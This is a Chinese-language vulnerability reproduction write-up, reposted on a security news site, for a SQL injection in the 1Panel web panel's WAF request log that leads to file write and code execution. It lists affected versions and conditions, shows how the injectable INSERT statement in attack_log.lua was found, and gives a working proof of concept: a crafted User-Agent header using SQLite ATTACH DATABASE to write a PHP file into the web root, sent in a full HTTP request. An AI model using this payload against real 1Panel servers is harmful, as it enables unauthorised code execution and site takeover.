CVE-2024-399111 PanelRCE漏洞复现

admin 2024年8月12日16:40:59评论51 views字数 1833阅读6分6秒阅读模式

0x01 测试版本
v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal

0x02 影响范围
waf
网站监视(需专业版)

0x03 waf功能
利用条件:
    开启waf功能
    安装有1P-openresty容器且搭建有php环境网站

3.1发现注入

触发waf的规则

CVE-2024-399111  PanelRCE漏洞复现

可以看到在waf拦截记录里面记录了

http://URL/xpack/waf/websites

CVE-2024-399111  PanelRCE漏洞复现

CVE-2024-399111  PanelRCE漏洞复现

直接测试有没有注入

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

可以看到最近得到的是拼接后的结果,这里存在注入

CVE-2024-399111  PanelRCE漏洞复现

3.2文件定位

进入op到容器里面

docker exec -it 8fbeeb7b4dbc /bin/bash

数据库的路径位于,是SQLite数据库

/usr/local/openresty/1pwaf/data/db/

里面有两个数据库文件,1pwaf.db跟 req_log.db,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着

CVE-2024-399111  PanelRCE漏洞复现然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/

docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db ./

可以看到我们的拦截记录就在这里面

CVE-2024-399111  PanelRCE漏洞复现

然后通过搜索找到的插入语句在

/usr/local/openresty/1pwaf/lib/attack_log.lua

打开可以看到执行的sql语句

84835-2s8mjzqjhtg.pngINSERT INTO req_logs (        id, ip, ip_iso, ip_country_zh, ip_country_en,        ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime,         time,server_name,  website_key, host, method,        uri, user_agent, exec_rule, rule_type, match_rule, match_value,        nginx_log, blocking_time, action, is_block, is_attack    ) VALUES (        '%s', '%s', '%s', '%s', '%s',        '%s', '%s', %d, %d, DATETIME('now'),         %f,  '%s', '%s', '%s', '%s',         '%s', '%s', '%s', '%s', '%s', '%s',          '%s', %d, '%s', %d, %d    )

我们的可控点在第二个插入参数的位置

VALUES (        '%s', '%s', '%s', '%s', '%s',        '%s', '%s', %d, %d, DATETIME('now'),         %f,  '%s', '%s', '%s', '%s',         '%s', '可控点', '%s', '%s', '%s', '%s',          '%s', %d, '%s', %d, %d    )

3.3 Getshell

构造好poc

ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

然后这里利用ua头位置注入来写入文件

GET /.git/config HTTP/1.1Host: 192.168.99.6User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#Connection: close

CVE-2024-399111  PanelRCE漏洞复现

访问成功执行

CVE-2024-399111  PanelRCE漏洞复现

这里利用只要开启waf功能即可

原文始发于微信公众号(船山信安):CVE-2024-399111 PanelRCE漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月12日16:40:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-399111 PanelRCE漏洞复现http://cn-sec.com/archives/3057039.html

发表评论

匿名网友 填写信息